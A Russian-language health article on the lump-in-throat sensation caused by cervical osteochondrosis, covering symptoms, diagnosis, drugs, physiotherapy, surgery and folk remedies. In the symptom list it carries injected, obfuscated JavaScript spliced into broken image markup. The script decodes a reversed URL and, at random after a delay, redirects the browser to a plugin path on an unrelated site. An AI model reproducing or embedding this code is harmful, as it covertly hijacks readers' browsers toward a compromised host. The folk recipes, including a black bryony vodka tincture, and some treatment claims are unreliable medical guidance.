Жалоба на чувство комка в горле — довольно распространённое явление. За этим симптомом может стоять не один десяток заболеваний (начиная с невроза и заканчивая онкологическим процессом). Как правило, пациент обращается к врачу, когда подобное ощущение становится постоянным. Одной из самых частых и, порой, неожиданных для пациента причин кома в горле является остеохондроз шейного отдела позвоночника.
Содержание
Понятие остеохондроза и причины появления кома в горле
Остеохондроз — заболевание дегенеративно-дистрофического характера. Синонимы нозологической единицы (болезни): спондилез, дискоз. Патология поражает межпозвонковые диски и ведёт к постепенному вовлечению в аномальный процесс ранее здоровых отделов позвоночника. Болезнь, как правило, связана с возрастными структурными перестройками опорно-двигательного аппарата, а усугубляет течение — малоподвижный образ жизни и избыточный вес.
Шейный остеохондроз — видео с Еленой Малышевой
Истончённый межпозвонковый диск, ранее выполнявший при ходьбе роль амортизатора, перестаёт осуществлять свою функцию. За счёт уменьшения его прочности возрастает риск возникновения деформаций и грыж, сдавливающих нервные корешки. Заболевание может поражать шейный, грудной, поясничный отдел позвоночного столба.
Основная жалоба пациентов, страдающих остеохондрозом — это постоянная боль в спине со склонностью к её периодическому усилению (вплоть до резкой и невыносимой). В зависимости от степени тяжести наблюдается сокращение подвижности позвоночника.
Механизм появления ощущения комка в горле также связан с дегенерацией межпозвонковых дисков. Шейный отдел — самая подвижная и узкая часть позвоночного столба. Пережатие и воспаление нервных корешков, расположенных по бокам от него, приводит к нарушению иннервации (снабжение нервами) соответствующих им зон тела. Это, например, проявляется выраженной шейной болью, обусловленной спазмом скелетной мускулатуры. Чувство кома возникает по тому же принципу: мышцы глотки, находящиеся на цервикальном уровне, переходят в состояние стойкого сокращения, вызывая неприятные ощущения в соответствующей области.
Главный фактор развития жалобы — локализация патологического процесса (чаще всего — грыжевого выпячивания диска) в области четвёртого шейного позвонка.
Сопутствующие симптомы
Остеохондроз шейного отдела (ОШО), несмотря на относительно малый участок поражения, проявляется богатой изменчивой симптоматикой. Даже ощущение кома в горле обладает переменными характеристиками и может сопровождаться целой группой дополнительных жалоб. При дегенеративно-дистрофическом поражении цервикального отдела позвоночника наблюдается:
- Чувство комка в горле. Смещение шейных позвонков обычно происходит в боковом направлении, что приводит к одностороннему ущемлению нервных образований. Следовательно, ощущение инородного тела и помехи при глотании локализуется не только в центральной части горла, но и по бокам. При выраженных структурных изменениях позвоночника жалоба приобретает постоянный характер и усиливаться перед сном.
$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/05/oshchushchenie-koma-v-gorle.jpg» alt=»Ощущение кома в горле» width=»500″ height=»300″ /> Ком в горле при остеохондрозе является следствием постоянного аномального напряжения мышц глотки
- Болевой синдром. Может беспокоить как резкая, разлитая боль по всей шее, так и неприятные ощущения на строго ограниченном участке, напоминающем точку. Чувство комка чаще всего сопровождается болью, сосредоточенной в середине горла. Она охватывает небольшую область от яремной вырезки до щитовидного хряща. Глотание провоцирует усиление жалобы. Иногда это ошибочно воспринимается как признак фарингита при простудном заболевании.
- Ощущение онемения, ползания мурашек. Распространяется в области дельтовидных мышц и надплечий.
- Поперхивание. Несмотря на то что объективных выраженных препятствий для прохождения пищевого комка нет, пациенты жалуются на затруднение глотания.
- Тревожность, страх смерти. Иллюзия нехватки кислорода приводит к возникновению боязни задохнуться. Постоянное пребывание в моральном напряжении способствует формированию невроза и иных психоэмоциональных расстройств. Так как тревожное состояние — одна из многих причин чувства комка в горле, жалобы пациента усиливаются.
Боли в горле при шейном остеохондрозе — видео
Почему может болеть горло и проявлются прочие симптомы: диагностика
Ком в горле — это не патогномоничный (не безусловный) симптом. Он может встречаться как при серьёзных заболеваниях с морфологической перестройкой, так и обратимых функциональных нарушениях. Диагностический поиск причины жалобы осуществляют следующие специалисты:
- невролог;
- гастроэнтеролог;
- оториноларинголог;
- эндокринолог (исключаются заболевания щитовидной железы);
- онколог (при подозрении на наличие сдавливающей опухоли).
Основные методы исследования:
- Рентгенография шейного отдела позвоночника. На снимке могут быть заметны признаки смещения позвонков, формирования остеофитов (аномальных образований из костной ткани).
- МРТ. Магнитно-резонансная томография позволяет максимально точно оценить состояние межпозвонковых дисков и обнаружить грыжевое выпячивание уже на ранних стадиях патологических изменений.
- Рентгеноконтрастное исследование с барием. Применяется для оценки проходимости пищевода.
Дифференциальная диагностика
Наличие ощущения комка в горле требует исключения заболеваний сразу из нескольких медицинских областей. Базовую дифференциальную диагностику проводят с 4 типами патологии.
| Шейный остеохондроз | Неврозы | Органическое поражение ЦНС | ГЭРБ, или гастроэзофагеальная рефлюксная болезнь |
|
| Чувство кома в горле | постоянное | при стрессах | во время глотания | периодическое |
| Боль в шее | есть, чаще интенсивная | нет | нет | нет |
| Головная боль | есть, в затылке | не всегда | есть, распространённая | нет |
| Онемение конечностей | иногда, но только верхние конечности | нет | да | нет |
| Признаки нарушения мозгового кровообращения |
преходящие: внезапные и кратковременные |
не всегда | стойкие | нет |
| Диспепсические явления: изжога, отрыжка | нет | нет | не характерно | да |
Лечение остеохондроза шейного отдела
Консервативное лечение шейного остеохондроза основывается на приёме следующих групп препаратов:
- Лекарств местного раздражающего действия. Улучшают кровообращение в участке нанесения, например, Финалгон и Бом-Бенге.
- Нестероидных противовоспалительных средств (НПВС). С этой целью назначают мазь Ибупрофен, Диклофенак. В период обострения показано введение средств данной фармакологической группы парентеральным способом — внутривенно и внутримышечно.
- Препаратов, нормализующих сосудистый кровоток. Например, вазоактивные лекарства: Актовегин, Циннаризин.
- Седативных средств. Успокоительные (экстракт Валерианы, Персен) применяют для нормализации сна и профилактики невроза, который способен усугубить жалобы.
- Витамины группы B. Необходимы для улучшения нервной проводимости по раздражённым и сдавленным волокнам. В терапевтической практике широко используется Комбилипен.
Еда при остеохондрозе, как и при любых других дегенеративно-дистрофических заболеваниях, должна быть обогащена кальцием. Если у пациента зафиксирована избыточная масса тела, создающая дополнительную нагрузку на позвоночник, диета будет направлена на снижение веса.
Физиотерапия допустима только после купирования острого воспаления. Методы физиотерапевтического воздействия используются в составе комплексного лечения:
- амплипульстерапия — лечение переменными токами и диадинамотерапия — применение диадинамических импульсных токов;
- фонофорез с диклофенаком и другими НПВС (ультразвуковой способ введения препаратов);
- магнитотерапия (лечение, основанное на положительном влиянии низкочастотного и высокочастотного магнитного поля);
- парафинолечение — тепловое воздействие на область шеи с помощью парафина;
- массаж воротниковой зоны.
Оперативное лечение показано только в тех случаях, когда консервативная терапия не принесла ожидаемых позитивных результатов. Основная причина, по которой приходится обращаться за помощью к хирургу — формирование межпозвонковой грыжи и стойкое сдавление нервных образований. Как правило, применяется дискэктомия: поражённый диск удаляется частично или полностью (с заменой на искусственный).
Народные способы борьбы с симптомами остеохондроза построены в основном на местном воздействии. Рецепты нельзя воспринимать как единственно верный путь лечения. Применение некоторых методов, наоборот, способно ухудшить состояние пациента. Рекомендуется предварительно проконсультироваться с врачом.
Народные рецепты:
- Настойка из тамуса обыкновенного. Для изготовления понадобятся: корень растения (200 гр), водка (500 мл). Тамус мелко натирается с помощью тёрки и заливается водкой. Полученную смесь оставляют в тёмном месте на 5 суток. Раствор наносится местно, обработанная область накрывается шерстяным шарфом или другой тёплой одеждой.
- Компресс с прополисом. Ингредиенты: водка (500 мл), прополис (1 гр), сок алоэ (50 мл), горчичный порошок (50 гр). Смешать компоненты и пропитать ими ткань. Компресс нужно поместить на область шеи и закрепить шерстяной одеждой. Народное средство обладает выраженным раздражающим и согревающим действием. При сильном чувстве жжения, признаках аллергии — сразу же прекратить лечение.
Прогноз и возможные осложнения
Ощущение кома в горле при шейном остеохондрозе легко устраняется, если грамотно подобрана лечебная тактика. Большую роль играет и своевременность обращения к врачу. Последствия шейного остеохондроза могут быть довольно опасны. Среди них:
- Нарушение мозгового кровообращения. Пережатие шейных сосудов способно привести к формированию артериальной гипертонии. Недостаточное снабжение ЦНС кислородом может проявляться стойкими зрительными, слуховыми и координационными нарушениями. Самое опасное осложнение — это «синдром позвоночной артерии»: за счёт её сдавливания головной и спинной мозг претерпевают ишемию, что в итоге приводит к спинальному инсульту.
- Радикулопатия. Раздражение нервных корешков в шейной области иногда приводит не только к выраженной боли, но и к потере подвижности верхних конечностей (полной или частичной).
Профилактика
Способы предупреждения возникновения чувства комка в горле совпадают с мерами, направленными на профилактику шейного остеохондроза. Сюда относятся:
- Коррекция осанки. За правильным положением позвоночника необходимо следить с детства.
- Занятия физкультурой. Регулярное выполнение активных упражнений помогает сформировать и укрепить мышечный корсет, поддерживающий позвоночный столб. Среди рекомендуемых видов спорта одно из главных мест занимает плавание.
- Правильное питание. Пища должна быть богата кальцием и витаминами. Это позволит предупредить возникновение дегенеративно-дистрофических изменений в опорно-двигательном аппарате.
- Контроль за массой тела. Борьба с ожирением помогает снизить нагрузку на позвоночник.
- Адекватная оценка собственных физических сил. Если понадобилось поднять тяжёлый груз, стоит равномерно распределить его вес на обе руки. Использование рюкзаков предпочтительнее, чем ношение сумок на одном плече.
Ощущение кома в горле при шейном остеохондрозе — симптом, который нельзя игнорировать. Появление жалоб на боль, затруднённое глотание говорит о том, что патологический процесс распространился на нервные структуры, и без принятия мер состояние будет только ухудшаться. Чтобы избавиться от чувства комка, важно вовремя остановить прогрессирование основного заболевания. Никакие средства народной медицины не заменят полноценный осмотр врача.
